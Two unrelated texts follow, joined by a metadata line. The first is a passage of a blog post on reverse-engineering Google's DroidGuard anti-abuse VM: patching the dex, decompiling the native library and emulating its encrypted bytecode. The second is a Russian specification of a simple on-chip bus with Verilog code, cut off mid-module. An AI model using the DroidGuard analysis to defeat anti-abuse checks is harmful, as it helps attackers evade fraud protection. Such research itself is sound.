`DroidGuardService` class, being part of Google Play Services, downloads the file onto the device, unpacks it, extracts .dex and uses the `com.google.ccc.abuse.droidguard.DroidGuard` class through reflection. If there’s an error, then `DroidGuardService` switches from DroidGuard back to Droidguasso. But that’s another story entirely.
Essentially, `DroidGuard` class is a simple JNI wrapper around the native .so library. The native library's ABI matches what we sent in the `CPU_ABI` field in the protobuf request: we can ask for armeabi, x86 or even MIPS.
The `DroidGuardService` service itself doesn’t contain any interesting logic for working with the `DroidGuard` class. It simply creates a new instance of `DroidGuard`, sends it the **byteCode** from the protobuf message, calls a public method, which returns a byte array. This array is then sent to the server inside the **droidguard\_result** parameter.
To get a rough idea of what’s going on inside `DroidGuard` we can repeat the logic of `DroidGuardService` (but without downloading the .apk, since we already have the native library). We can take a .dex file from the secret APK, convert it into .jar and then use in our project. The only issue is how the `DroidGuard` class loads the native library. The static initialization block calls the `loadDroidGuardLibrary()` method:
```
static
{
try
{
loadDroidGuardLibrary();
}
catch (Exception ex)
{
throw new RuntimeException(ex);
}
}
```
Then the `loadDroidGuardLibrary()` method reads library.txt (located in the root of the .apk file) and loads the library with that name though the `System.load(String filename)` call. Not very convenient for us, since we’d need to build the .apk in a very specific way to put library.txt and the .so file into its root. It would be much more convenient to keep the .so file in the lib folder and load that through `System.loadLibrary(String libname)`.
It’s not hard to do. We’ll use [smali/baksmali](https://github.com/JesusFreke/smali) — assembler/disassembler for .dex files. After using it, classes.dex turns into a bunch of .smali files. The `com.google.ccc.abuse.droidguard.DroidGuard` class should be modified, so that the static initialization block calls the `System.loadLibrary("droidguard")` method instead of `loadDroidGuardLibrary()`. Smali’s syntax is pretty simple, the new initialization block looks like this:
```
.method static constructor ()V
.locals 1
const-string v0, "droidguard"
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
return-void
.end method
```
Then we use backsmali to build it all back into .dex, and then we convert it into .jar. At the end we get a .jar file that we can use in our project — [here it is](https://github.com/amankevich/droidguard-lib-test), by the way.
The entire DroidGuard-related section is a couple of strings long. The most important part is to download the byte array we got in the previous step after addressing the anti-abuse service and hand it off to the `DroidGuard` constructor:
```
private fun runDroidguard() {
var byteCode: ByteArray? = loadBytecode("bytecode.base64");
byteCode?.let {
val droidguard = DroidGuard(applicationContext, "addAccount", it)
val params = mapOf("dg_email" to "test@gmail.com", "dg_gmsCoreVersion" to "910055-30",
"dg_package" to "com.google.android.gms", "dg_androidId" to UUID.randomUUID().toString())
droidguard.init()
val result = droidguard.ss(params)
droidguard.close()
}
}
```
Now we can use Android Studio’s profiler and see what happens during DroidGuard’s work:
The initNative() native method collects data about the device and calls Java methods `hasSystemFeature(), getMemoryInfo(), getPackageInfo()`… that’s something, but I still don’t see any solid logic. Well, all that remains is to disassemble the .so file.
### libdroidguard.so
Fortunately, analyzing the native library isn’t any more difficult that doing it with .dex and .jar files. We’d need an app similar to Hex-Rays IDA and some knowledge of either x86 or ARM assembler code. I chose ARM, since I had a rooted device lying around to debug on. If you don’t have one, you could take an x86 library and debug using an emulator.
An app similar to Hex-Rays IDA decompiles the binary into something resembling C code. If we open the `Java_com_google_ccc_abuse_droidguard_DroidGuard_ssNative` method, we’ll see something like this:
```
__int64 __fastcall Java_com_google_ccc_abuse_droidguard_DroidGuard_initNative(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9)
...
v14 = (*(_DWORD *)v9 + 684))(v9, a5);
v15 = (*(_DWORD *)v9 + 736))(v9, a5, 0);
...
```
Doesn’t look too promising. First we need to make a couple of preliminary steps to transform that into something more useful. The decompiler doesn’t know anything about JNI, so we install Android NDK and import the jni.h file. As we know, the first two parameters of a JNI method are `JNIEnv*` and `jobject (this)`. We can find out the types of other parameters from DroidGuard’s Java code. After assigning the correct types, meaningless offsets turn into JNI method calls:
```
__int64 __fastcall Java_com_google_ccc_abuse_droidguard_DroidGuard_initNative(_JNIEnv *env, jobject thiz, jobject context, jstring flow, jbyteArray byteCode, jobject runtimeApi, jobject extras, jint loggingFd, int runningInAppSide)
{
...
programLength = _env->functions->GetArrayLength)(_env, byteCode);
programBytes = (jbyte *)_env->functions->GetByteArrayElements)(_env, byteCode, 0);
...
```
If we have enough patience to trace the byte array received from the anti-abuse server, we’ll be… disappointed. Unfortunately, there’s no simple answer to “what’s happening here?”. It’s pure, distilled byte code, and the native library is a virtual machine. Some AES encryption sprinkled on top and then the VM reads the byte code, byte by byte, and executes commands. Every byte is a command followed by operands. There aren’t many commands, only around 70: read int, read byte, read string, call Java method, multiply two numbers, if-goto etc.
### Wake up, Neo
I decided to go even further and figure out the structure of the byte code for this VM. There’s another problem with the calls: sometimes (once every couple weeks) there’s a new version of the native library where byte-command pairs are scrambled. It didn’t stop me and I decided to recreate the VM using Java.
What the byte code does is do all the routine work on collecting info about the device. For example, it loads a string with the name of a method, gets its address through dlsym and executes. In my Java version of the VM I recreated only 5 or so methods and learned to interpret the first 25 commands of the anti-abuse service’s byte code. On the 26th command the VM read another encrypted string from the byte code. It suddenly turned out that it’s not a name of another method. Far from it.
> Virtual Machine command #26
>
> Method invocation vm->vm\_method\_table[2 \* 0x77]
>
> Method vmMethod\_readString
>
> index is 0x9d
>
> string length is 0x0066
>
> (new key is generated)
>
> encoded string bytes are EB 4E E6 DC 34 13 35 4A DD 55 B3 91 33 05 61 04 C0 54 FD 95 2F 18 72 04 C1 55 E1 92 28 11 66 04 DD 4F B3 94 33 04 35 0A C1 4E B2 DB 12 17 79 4F 92 55 FC DB 33 05 35 45 C6 01 F7 89 29 1F 71 43 C7 40 E1 9F 6B 1E 70 48 DE 4E B8 CD 75 44 23 14 85 14 A7 C2 7F 40 26 42 84 17 A2 BB 21 19 7A 43 DE 44 BD 98 29 1B
>
> decoded string bytes are 59 6F 75 27 72 65 20 6E 6F 74 20 6A 75 73 74 20 72 75 6E 6E 69 6E 67 20 73 74 72 69 6E 67 73 20 6F 6E 20 6F 75 72 20 2E 73 6F 21 20 54 61 6C 6B 20 74 6F 20 75 73 20 61 74 20 64 72 6F 69 64 67 75 61 72 64 2D 68 65 6C 6C 6F 2B 36 33 32 36 30 37 35 34 39 39 36 33 66 36 36 31 40 67 6F 6F 67 6C 65 2E 63 6F 6D
>
> decoded string value is (**You're not just running strings on our .so! Talk to us at droidguard@google.com**)
That’s strange. A virtual machine have never talked to me before. I thought that if you start to see secret messages directed to you, you’re going crazy. Just to make sure I was still sane, I ran a couple hundred of different answers from the anti-abuse service through my VM. Literally every 25-30 commands there was a message hidden within the byte code. They often repeated, but below are some unique ones. I edited the email addresses, though: each message had a different address, something like «droidguard+tag@google.com», with the tag being unique for each one.
> droidguard@google.com: Don't be a stranger!
>
> You got in! Talk to us at droidguard@google.com
>
> Greetings from droidguard@google.com intrepid traveller! Say hi!
>
> Was it easy to find this? droidguard@google.com would like to know
>
> The folks at droidguard@google.com would appreciate hearing from you!
>
> What's all this gobbledygook? Ask droidguard@google.com… they'd know!
>
> Hey! Fancy seeing you here. Have you spoken to droidguard@google.com yet?
>
> You're not just running strings on our .so! Talk to us at droidguard@google.com
>
>
Am I the Chosen One? I thought that it was time to stop messing with DroidGuard and talk to Google, since they asked me so.
### Your call is very important to us
I told my findings on the email I found. To make results a little more impressive, I automated the analysis process a little bit. The thing is, strings and byte arrays are stored in the byte code encrypted. The VM decodes them using constants inlined by the compiler. Using an app similar to Hex-Rays IDA you could extract them pretty easily. But with every new version constants change and it’s fairly inconvenient to always extract them manually.
But Java-parsing the native library proved surprisingly simple. Using [jelf](https://github.com/fornwall/jelf) (a library for parsing ELF files) we find the offset of the `Java_com_google_ccc_abuse_droidguard_DroidGuard_initNative` method in the binary, and then using [Capstone](https://github.com/aquynh/capstone) (a disassembling framework with bindings for various languages, including Java) we get assembler code and search it for loading constants into registries.
In the end I got an app that emulated the entire DroidGuard process: makes a request to the anti-abuse service, downloads the .apk, unpacks it, parses the native library, extracts the required constants, picks out the mapping of VM commands and interprets the byte code. I compiled it all and sent it off to Google. While I was at it, I started preparing for a move and searched Glassdoor for an average salary at Google. I decided to not agree to anything less than six figures.
The answer didn’t take long. An email from a member of the DroidGuard team simply read: “Why are you even doing this?”
“Because I can” — I answered. A Google employee explained to me that DroidGuard is supposed to protect Android from hackers (you don’t say!) and it would be wise to keep the source code of my DroidGuard VM to myself. Our conversation ended there.
### Interview
A month later I received another email. The DroidGuard team in Zurich needed a new employee. Was I interested in joining? Of course!
There are no shortcuts to get into Google. All my contact could do was forward my CV to the HR department. After that I had to go through the usual bureaucratic rigmarole and a series of interviews.
There’s a lot of stories out there about Google interviews. Algorithms, Olympiad tasks and Google Docs programming aren’t my thing, so I started my preparations. I read through the “Algorithms” course of Coursera dozens of times, solved hundreds of tasks on Hackerrank and learned to get around a graph in both dimensions with my eyes closed.
Two months went by. To say I felt prepared would be an understatement. Google Docs became my favorite IDE. I felt like I knew everything there is to know about algorithms. Of course, I knew my weaknesses and realized I probably wouldn’t pass the series of 5 interviews in Zurich, but going to the programmer’s Disneyland for free was a reward in and of itself. The first step was a phone interview to weed out the weakest of candidates and not waste times of Zurich developers on in-person meetings. The day was set, the phone rang…
… and I immediately failed my first test. I got lucky — they asked a question I’ve seen on the internet before and have already solved. It was about serializing a string array. I offered to code strings in Base64 and save them through a divider. The interviewer asked me to develop a Base64 algorithm. After that the interview turned into sort of a monologue, where the interviewed explained to me how Base64 works and I tried to remember bit operations in Java.
**If anyone at Google is reading this**Guys, you’re bloody geniuses if you got there! Seriously. I can’t imagine how one can clear all the obstacles they put in front of you.
3 days after the call I got an email saying they don’t want to interview me further. And that’s how my communication with Google ended.
Why there are messages in DroidGuard asking to chat, I still have no idea. Probably just for stats. The guy I wrote to in the first place told me that people actually write there, but the frequency varies: sometimes they get 3 replies in a week, sometimes 1 a year.
I believe there are easier ways to get an interview at Google. After all, you could just ask any of the 100,000 employees (though not all of them are developers, admittedly). But it was a fun experience nonetheless. | https://habr.com/ru/post/446790/ | null | en | null |
# Синхронный системный интерфейс взаимодействия с периферийными блоками в объёме кристалла СБИС или ПЛИС. STI 1.0
В статье предложена организация взаимодействия функциональных блоков в объёме кристалла СБИС, а именно: процессорных ядер, контроллеров DMA и мостов системных шин с периферийными блоками, такими как: контроллеры GPIO, SPI, I2C, UART, таймеры и широтно-импульсные модуляторы – ШИМ. Рассмотрен набор сигналов и протокол обмена стыка простого исполнителя – локального системного интерфейса, реализующего взаимодействие перечисленных блоков кристалла. Приведены примеры синтезируемых моделей контроллера GPIO и регистрового файла, поддерживающие описанный интерфейс.
С момента освоения полупроводниковой промышленностью технологических процессов с нормами 0,18мкм и менее, позволивших достичь степени интеграции микросхем уровня «Система на Кристалле», появилось множество спецификаций на внутренние стыки функциональных блоков, реализуемых в таких микросхемах. В большинстве случаев эти стыки представлены синхронными системными шинами, такими как: AMBA APB, AHB, AXI, Wishbone, OCP [1, 2, 3, 4, 5, 6]. Предлагались также и оригинальные топологии, не имеющие ничего общего с шиной, например накристальные сети – NOC (Networks-On-Chip) [7].
Предметная область данной публикации ограничена построением связей функциональных блоков вычислительного устройства, не выходя за пределы кристалла СБИС или ПЛИС. Особенностью таких связей является отсутствие существенного ограничения числа сигнальных линий, задействованных в протоколе обмена. Эта особенность обусловлена тем, что в объёме кристалла введение дополнительного сигнала зачастую существенно упрощает логические схемы, занимающие транзисторные ресурсы, в то время как трассировочные ресурсы не являются настолько дефицитными. Также следует отметить, что некоторые сигналы, явно описанные в модели RTL-уровня, могут отсутствовать в синтезированной схеме и перечне связей на уровне технологических элементов вследствие оптимизации комбинационной логики.
Большинство существующих спецификаций внутрикристальных системных шин использует сложные протоколы, определяющие задержанные транзакции (Delayed Transactions), блочные передачи (Burst mode), чтение с предвыборкой (Prefetchable Read), остановы транзакций (Abort) и запросы повтора (Retry). Этот функционал требует поддержки со стороны всех агентов шины и приводит к значительному усложнению алгоритмов переключения управляющих автоматов, хотя во многих случаях не используется. В частности, он избыточен при организации доступа к медленным или простым периферийным блокам кристалла.
В некоторых спецификациях, например для шины Wishbone [5], не регламентирован принцип соединения агентов между собой, а определены только интерфейсы инициатора (Initiator) и исполнителя (Target).
Главное преимущество существующих интерфейсов заключается в широком ассортименте разработанных и верифицированных функциональных блоков (IP-ядер).
Вероятно, что у многих разработчиков, привыкших использовать давно разработанные на Западе стандартные протоколы накристальных системных шин, возникнет вопрос: зачем «изобретать велосипед»? Во-первых, основной целью создания новой спецификации было описание наиболее простого синхронного системного интерфейса, регламентирующее все стыки, внутреннюю организацию агентов в части подключения к шине и способ построения инфраструктуры самой шины. Во-вторых, оригинальная спецификация должна быть написана на русском, а не на английском языке.
Определив цели разработки и ограничив предметную область, перейдём к непосредственному рассмотрению спецификации интерфейса.
Стык простого исполнителя версии 1.0 – Simple Target Interface v.1.0 (далее – STI) представляет собой набор логических сигналов и протокол взаимодействия, обеспечивающий соединение нескольких функциональных блоков в объёме одного проекта конфигурации ПЛИС или кристалла СБИС (далее — проекта).
В RTL-модели описания проекта может быть неограниченное количество интерфейсов STI, функционирующих параллельно, одновременно и независимо друг от друга. Каждый из этих интерфейсов далее называется сегментом STI.
Взаимодействие в пределах одного сегмента STI реализуется в одном домене синхронизации проекта, что означает использование единого синхросигнала (CLK) для инициатора и всех исполнителей, соединённых одним сегментом STI.
Множество функциональных блоков проекта, связанных общим сегментом STI, включает один (и только один) инициатор обмена и набор исполнителей обмена, которые представлены остальными блоками из этого множества.
Способ взаимодействия по STI заключается в записи и чтении слов данных, доступных по определённым адресам в одном из адресных пространств процессора вычислительного устройства. Ширина слов определяется разрядностью трактов данных в выбранной для определённого сегмента STI реализации интерфейса и может составлять 8, 16, 32 или 64 бита.
Запись или чтение одного слова данных представляет собой цикл обмена по интерфейсу STI (далее – цикл).
Любой обмен данными по STI начинается единственным в сегменте блоком-инициатором обмена (далее – инициатор). Блоков-исполнителей обмена (далее – исполнителей), подключённых к общему сегменту STI может быть несколько. Максимальное количество исполнителей зависит от реализации проекта СБИС разработчиком, и не регламентировано данным протоколом. Тем не менее, по причинам оптимизации быстродействия, не рекомендуется подключать к одному сегменту STI более восьми исполнителей. При наличии на сегменте STI двух и более исполнителей коммутация данных в тракте чтения и переключение управляющих сигналов осуществляются связующими комбинационными схемами. Коммутация нескольких исполнителей производится на основании выбранного адресного пространства (команды STI), либо выбранного диапазона адресов в объёме общего адресного пространства.
В циклах записи данные передаются от инициатора к исполнителю, а в циклах чтения – в обратном направлении. Совмещённые циклы одновременных операций чтения и записи данный протокол STI не допускает.
Выбор адресного пространства закодирован в команде STI (S\_CMD). Адрес в объёме выбранного адресного пространства передаётся от инициатора к исполнителю во всех циклах по тракту адреса (S\_ADDR).
Ширина тракта адреса зависит от реализации проекта разработчиком, и не регламентирована данным протоколом. В некоторых функциональных блоках тракт адреса на стыке STI может отсутствовать, при условии доступа к исполнителю, использующему одну комбинацию из адресного пространства системы (один регистр для записи и/или один регистр для чтения).
Место интерфейса STI на примере кристалла СБИС класса «система на кристалле» (СнК) иллюстрирует структурная схема, приведённая на рис. 1. Связи, относящиеся к сегменту STI, выделены серой заливкой.
*Рис. 1. Место интерфейса STI в объёме кристалла СБИС*
Стык STI позволяет простым способом соединить функциональные блоки проекта, не требующие поддержки функции инициатора локальной шины. Протокол STI даёт возможность считывания и записи слов данных в каждом такте синхронизации, что обеспечивает пропускную способность на уровне полнофункциональной системной шины, с аналогичной разрядностью данных и частотой синхронизации.
Блочные пересылки массивов данных с участием исполнителей STI могут выполняться процессором прямого доступа к памяти – DMA, реализованным в составе моста сегмента STI либо другими блоками, имеющими подключение инициатора к локальной системной шине, с которой имеется доступ к мосту сегмента STI.
Рассмотрим топологию связи агентов в объёме сегмента STI.
Взаимодействие по сегменту STI использует набор сигналов, приведённый в таблице 1.
Таблица 1.
| 8-р. тракты данных | 16-р. тракты данных | 32-р. тракты данных | 64-р. тракты данных | Инициатор | Исполнитель |
| --- | --- | --- | --- | --- | --- |
| S\_EX\_REQ | S\_EX\_REQ | S\_EX\_REQ | S\_EX\_REQ | Выход запроса | Вход запроса |
| S\_ADDR[n-1:0] / S\_ADDR\_0 | S\_ADDR[n-1:1] / S\_ADDR\_1 | S\_ADDR[n-1:2] / S\_ADDR\_2 | S\_ADDR[n-1:3] / S\_ADDR\_3 | Выход адреса | Вход адреса |
| нет | S\_NBE[1:0] | S\_NBE[3:0] | S\_NBE[7:0] | Выход разрешения байтов | Вход разрешения байтов |
| S\_CMD[2:0] | S\_CMD[2:0] | S\_CMD[2:0] | S\_CMD[2:0] | Выход кода команды | Вход кода команды |
| S\_D\_WR[7:0] | S\_D\_WR[15:0] | S\_D\_WR[31:0] | S\_D\_WR[63:0] | Выход данных для записи | Вход данных для записи |
| S\_EX\_ACK | S\_EX\_ACK | S\_EX\_ACK | S\_EX\_ACK | Вход подтверждения | Выход подтверждения |
| S\_D\_RD[7:0] | S\_D\_RD[15:0] | S\_D\_RD[31:0] | S\_D\_RD[63:0] | Вход данных чтения | Выход данных чтения |
| CLK | CLK | CLK | CLK | Вход синхросигнала | Вход синхросигнала |
| RST | RST | RST | RST | Вход системного сброса | Вход системного сброса |
Для сигнализации запросов аппаратных прерываний исполнителями STI могут использоваться не относящиеся к сегменту STI внеполосные (sideband) сигналы, порядок управления которыми контролируется разработчиком каждого отдельного проекта.
Топология соединений логических сигналов в объёме одного сегмента STI показана на рис. 2. В рассматриваемом примере представлена коммутация двух исполнителей, а также организация входов и выходов исполнителей и инициатора. Коммутация исполнителей выполнена путём разделения адресных пространств на две равные части. Таким образом, при низком уровне старшего разряда адреса S\_ADDR[n-1] выбирается исполнитель Target-A, а при высоком уровне – Target-B. В логику выбора исполнителей может быть также включён код команды для разделения не только по адресным комбинациям, но и по адресным пространствам.
*Рис. 2. Топология соединений в сегменте STI*
На топологию интерфейса инициатора стыка STI накладываются следующие ограничения:
1. Выход адреса S\_ADDR должен иметь источник в виде выхода регистра, синхронизируемого сигналом CLK. Таким образом, задержка по выходу S\_ADDR от рабочего фронта синхросигнала равна выходной задержке триггера T-co (Clock-to-Output delay).
2. Остальные выходные сигналы инициатора могут генерироваться комбинационными цепями, не реагирующими на входные сигналы S\_EX\_ACK и S\_D\_RD, либо регистрами.
На топологию интерфейса исполнителя стыка STI накладываются следующие ограничения:
1. Выход подтверждения цикла S\_EX\_ACK должен иметь источник в виде выхода регистра, синхронизируемого сигналом CLK. Таким образом, задержка по выходу S\_EX\_ACK от рабочего фронта синхросигнала равна выходной задержке триггера T-co (Clock-to-Output delay). Для исполнителей, не вносящих такты ожидания в циклы обмена записи и циклы обмена чтения, допустимо формировать сигнал S\_EX\_ACK в виде константы высокого уровня.
2. В отсутствие выходного регистра на шине S\_D\_RD управление мультиплексором в тракте чтения данных должно осуществляться либо выходом внутреннего регистра (синхронизируемого сигналом CLK) в объёме исполнителя, либо подмножеством входных разрядов шины адреса S\_ADDR[n-1:k].
Перечисленные требования к топологии интерфейсов инициатора и исполнителя на стыке STI вызваны необходимостью исключения генерации сложных комбинационных петель, значительно усложняющих оптимизацию быстродействия проекта и снижающих максимальную тактовую частоту.
Связующие комбинационные схемы, обеспечивающие коммутацию нескольких исполнителей в рамках одного сегмента STI, представлены логическими вентилями «И» на цепях запроса S\_EX\_REQ а также мультиплексорами выходов исполнителей на общие входы инициатора. Пример построения связующей логики показан на рис. 2.
В синтезированной модели проекта определённые логические сигналы отдельно взятого сегмента STI могут отсутствовать в силу оптимизации комбинационной логики и переноса регистров через логические цепи. Результаты синтеза также зависят от пользовательских настроек, заданных в используемых разработчиком средствах проектирования (САПР).
Рассмотрим протокол взаимодействия агентов одного сегмента STI.
Все логические сигналы интерфейса STI кроме системных линий синхронизации CLK и начальной установки (сброса) RST должны удовлетворять требованиям синхронности относительно рабочего фронта синхросигнала CLK. Данным протоколом рабочий фронт полагается восходящим, при котором низкий уровень сменяется высоким.
Сигнал S\_NBE переносит информацию об активных байтах, записываемых или считываемых в текущем цикле. Для 8-разрядного интерфейса STI данный сигнал не используется, ибо во всех циклах передаётся не более одного байта, который не может быть недействительным. Недействительному байту на 8-разрядном сегменте STI соответствует отсутствие цикла.
В 16-разрядном интерфейсе STI сигнал S\_NBE имеет разрядность два бита. Низкий уровень S\_NBE[0] сигнализирует о действительности данных в разрядах S\_D\_WR[7:0] или S\_D\_RD[7:0]. Низкий уровень S\_NBE[1] сигнализирует о наличии действительных данных в разрядах S\_D\_WR[15:8] или S\_D\_RD[15:8]. Высокий уровень S\_NBE[x] указывает на отсутствие данных в соответствующих разрядах. Таким образом, эти байты не должны быть записаны либо считаться считанными.
В 32-разрядном интерфейсе STI сигнал S\_NBE имеет разрядность 4 бита. Два дополнительных разряда S\_NBE[3:2] контролируют старшую половину шины данных. Низкий уровень S\_NBE[2] сигнализирует о действительности данных в разрядах S\_D\_WR[23:16] или S\_D\_RD[23:16]. Низкий уровень S\_NBE[3] сигнализирует о наличии действительных данных в разрядах S\_D\_WR[31:24] или S\_D\_RD[31:24]. Аналогичным способом биты S\_NBE[7:4] управляют старшими байтами 64-разрядного интерфейса, причём бит-4 управляет байтом [39:32], бит-5 – байтом [47:40], бит-6 – байтом [55:48], а бит-7 – старшим байтом [63:56].
По линиям S\_CMD[2:0] передаются команды, определяющие тип текущего цикла обмена. Команды STI перечислены в таблице 2.
Таблица 2.
| S\_CMD[2] | S\_CMD[1] | S\_CMD[0] | Тип цикла |
| --- | --- | --- | --- |
| 0 | 0 | 0 | IO Write – Запись IO с ожиданием готовности конечного исполнителя (приёмника данных) |
| 0 | 0 | 1 | Memory Write – Запись в память с ожиданием готовности конечного исполнителя (приёмника данных) |
| 0 | 1 | 0 | Posted IO Write – Отложенная запись IO |
| 0 | 1 | 1 | Posted Memory Write – Отложенная запись в память |
| 1 | 0 | 0 | IO Read – Чтение IO (без предвыборки данных) |
| 1 | 0 | 1 | Memory Read – Чтение памяти (без предвыборки данных) |
| 1 | 1 | X | Programm Memory Read – Чтение памяти программ (без предвыборки данных) |
Интерфейс STI поддерживает три типа адресных пространств:
1. Пространство портов ввода-вывода IO Space.
2. Пространство памяти (или памяти данных) Memory Space.
3. Пространство памяти программ (для архитектур процессоров с раздельной памятью программ и данных) Programm Memory Space.
Шина S\_ADDR переносит адресную комбинацию любого из адресных пространств. В 8-разрядной версии STI младший разряд адреса имеет обозначение S\_ADDR[0], в 16-разрядной – обозначается S\_ADDR[1], в 32-разрядной версии младшим разрядом адреса является S\_ADDR[2], а в 64-разрядной версии – S\_ADDR[3]. Это обусловлено тем, что минимальной адресуемой величиной данных на стыке STI является байт, а в 16, 32 и 64-разрядных версиях младшие биты адреса S\_ADDR[0], S\_ADDR[1:0] и S\_ADDR[2:0], соответственно, замещаются позиционным кодом выборки байтов: S\_NBE[1:0], S\_NBE[3:0] и S\_NBE[7:0].
Шина S\_D\_WR переносит слова данных для записи и представляет собой тракт записи.
Шина S\_D\_RD переносит считанные слова данных и представляет собой тракт чтения.
Сигнал запроса цикла S\_EX\_REQ имеет активный высокий уровень и сигнализирует о наличии или отсутствии цикла записи или чтения.
Сигнал подтверждения цикла S\_EX\_ACK формируется исполнителем и имеет активный высокий уровень. Низкий уровень свидетельствует о неготовности исполнителя принять записываемые данные или сигнализирует об отсутствии действительных считанных данных в тракте чтения.
Цикл обмена по стыку STI считается завершённым после фиксации по рабочему фронту синхросигнала факта одновременного наличия высокого уровня на линиях S\_EX\_REQ и S\_EX\_ACK.
Временная диаграмма, поясняющая цикл записи, показана на рис. 3.
*Рис. 3. Пример временной диаграммы записи*
Временная диаграмма, поясняющая цикл чтения, показана на рис. 4.
*Рис. 4. Пример временной диаграммы чтения*
Порядок изменения состояния сигналов по стыку STI регламентирован следующим набором правил.
Правило Ин-1.
Инициатор должен обеспечивать действительные значения сигналов S\_ADDR, S\_NBE, S\_CMD во всех тактах, в которых активен запрос цикла (высокий уровень сигнала S\_EX\_REQ).
Правило Ин-2.
Инициатор должен обеспечивать действительные значения сигнала S\_D\_WR во всех тактах, в которых активен запрос цикла (высокий уровень сигнала S\_EX\_REQ) и на линиях S\_CMD установлена комбинация любой команды записи.
Правило Ин-3.
Инициатор может изменять состояния сигналов S\_ADDR, S\_NBE, S\_CMD, S\_D\_WR только в течение следующего такта после одновременной фиксации (по рабочему фронту синхросигнала) высокого уровня сигналов S\_EX\_REQ и S\_EX\_ACK а также при низком уровне сигнала S\_EX\_REQ.
Правило Ин-4.
Инициатор может установить низкий уровень (не путать с удержанием низкого уровня) сигнала S\_EX\_REQ только в течение следующего такта после одновременной фиксации (по рабочему фронту синхросигнала) высокого уровня сигналов S\_EX\_REQ и S\_EX\_ACK.
Правило Исп-1.
Исполнитель должен обеспечивать действительные считанные значения данных на линиях S\_D\_RD при высоком уровне сигнала подтверждения цикла S\_EX\_ACK и наличии на линиях S\_CMD комбинации любой команды чтения. (Исполнитель, выдающий высокий уровень сигнала подтверждения цикла S\_EX\_ACK с опережением, не дожидаясь высокого уровня сигнала запроса S\_EX\_REQ, должен обеспечить возможность чтения данных при смене входных комбинаций в течение одного такта до момента прихода ближайшего рабочего фронта синхросигнала.)
Правило Исп-2.
Исполнитель должен принимать и сохранять по рабочему фронту синхросигнала данные для записи с линий S\_D\_WR при высоком уровне сигнала подтверждения цикла S\_EX\_ACK, наличии высокого уровня на входе S\_EX\_REQ и наличии на линиях S\_CMD комбинации любой команды записи. (Исполнитель, выдающий высокий уровень сигнала подтверждения цикла S\_EX\_ACK с опережением, не дожидаясь высокого уровня сигнала запроса S\_EX\_REQ, должен обеспечить возможность записи данных при смене входных комбинаций в течение одного такта до момента прихода ближайшего рабочего фронта синхросигнала.)
Правило Исп-3.
Исполнитель может установить на своём выходе низкий уровень сигнала подтверждения цикла S\_EX\_ACK только в течение следующего такта после одновременной фиксации (по рабочему фронту синхросигнала) высокого уровня сигналов S\_EX\_REQ и S\_EX\_ACK. (Изменение состояния сигнала S\_EX\_ACK как с низкого на высокий, наподобие диаграммы на рис. 4, так и с высокого на низкий уровень, со стороны инициатора может быть вызвано коммутацией исполнителей связующими комбинационными схемами.)
Правило Исп-4.
Исполнитель может изменять состояние сигналов на линиях S\_D\_RD только при одном из перечисленных условий:
* после одновременной фиксации (по рабочему фронту синхросигнала) высокого уровня сигналов S\_EX\_REQ и S\_EX\_ACK,
* непосредственно после смены состояния адреса S\_ADDR, разрешения байтов S\_NBE или кода команды S\_CMD до момента прихода ближайшего рабочего фронта синхросигнала,
* в тактах с низким уровнем сигнала S\_EX\_ACK,
* одновременно (в одном такте) с установкой высокого уровня на выходе S\_EX\_ACK,
* в тактах, с комбинациями кодов команд S\_CMD, не соответствующих циклам чтения.
Для наглядности принципов внутренней организации исполнителей STI рассмотрим несколько примеров простых функциональных блоков.
Исполнители со стыком STI, удовлетворяющие всем перечисленным выше правилам, могут быть основаны на простых схемных решениях, реализуемых в любой современной элементной базе.
Наиболее простым примером организации исполнителя STI может служить блок расширения ввода-вывода, реализующий дискретные входы-выходы общего назначения – GPIO (General Purpose Input-Output). Схема такого функционального блока показана на рис. 5.
*Рис. 5. Функциональная схема блока расширения ввода-вывода*
Данный блок позволяет побитно настроить 32 канала на ввод или на вывод логических сигналов. Для данных предусмотрены два 32-битных регистра: RG\_O[31:0] и RG\_I[31:0]. Для управления предназначен регистр RG\_T[31:0], доступный для чтения и записи по базовому адресу (S\_ADDR\_2 = 0). Регистр RG\_I[31:0] доступен для записи по адресу со смещением +1 (S\_ADDR\_2 = 1), регистр RG\_O[31:0] доступен для чтения по адресу со смещением +1 (S\_ADDR\_2 = 1).
Запись в регистры осуществляется побайтно с учётом комбинации разрешения байтов S\_NBE[3:0].
Ниже приведена синтезируемая модель рассмотренного блока расширения ввода-вывода, описанная на языке Verilog:
```
`timescale 1ns / 1ps
//////////////////////////////////////////////////////////////////////////
// Engineer: FPGA-Mechanic
//
// Create Date: 11:12:38 07/24/2014
// Design Name: STI Design
// Module Name: MSTI_32b_GPIO_REG_V10 - 32-bit STI GPIO Expander
// Project Name: Any
// Target Devices: FPGA
// Tool versions: Xilinx DS 14.4
//
// Revision: 1.0 (24.07.2014)
// Revision 1.0 - File Created
//////////////////////////////////////////////////////////////////////////
module MSTI_32b_GPIO_REG_V10(
input CLK,
input RST,
input S_EX_REQ,
input S_ADDR_2,
input [3:0] S_NBE,
input [2:0] S_CMD,
input [31:0] S_D_WR,
output S_EX_ACK,
output [31:0] S_D_RD,
output [31:0] GP_O,
output [31:0] GP_T,
input [31:0] GP_I
);
// Internal signals declaration:
wire IO_WR_CMD;
reg [31:0] RG_T, RG_O, RG_I;
//------------------------------------------
assign IO_WR_CMD = ~S_CMD[0] & ~S_CMD[2] & S_EX_REQ;
//------------------------------------------
// Internal Data Registers:
always @ (posedge CLK, posedge RST)
if(RST)
begin
RG_T <= 32'hFFFFFFFF; // All Outputs Tri-Stated
RG_O <= 32'h00000000;
RG_I <= 32'h00000000;
end
else
begin
RG_I <= GP_I;
if(~S_NBE[0] & ~S_ADDR_2 & IO_WR_CMD) RG_T[7:0] <= S_D_WR[7:0];
if(~S_NBE[1] & ~S_ADDR_2 & IO_WR_CMD) RG_T[15:8] <= S_D_WR[15:8];
if(~S_NBE[2] & ~S_ADDR_2 & IO_WR_CMD) RG_T[23:16] <= S_D_WR[23:16];
if(~S_NBE[3] & ~S_ADDR_2 & IO_WR_CMD) RG_T[31:24] <= S_D_WR[31:24];
if(~S_NBE[0] & S_ADDR_2 & IO_WR_CMD) RG_O[7:0] <= S_D_WR[7:0];
if(~S_NBE[1] & S_ADDR_2 & IO_WR_CMD) RG_O[15:8] <= S_D_WR[15:8];
if(~S_NBE[2] & S_ADDR_2 & IO_WR_CMD) RG_O[23:16] <= S_D_WR[23:16];
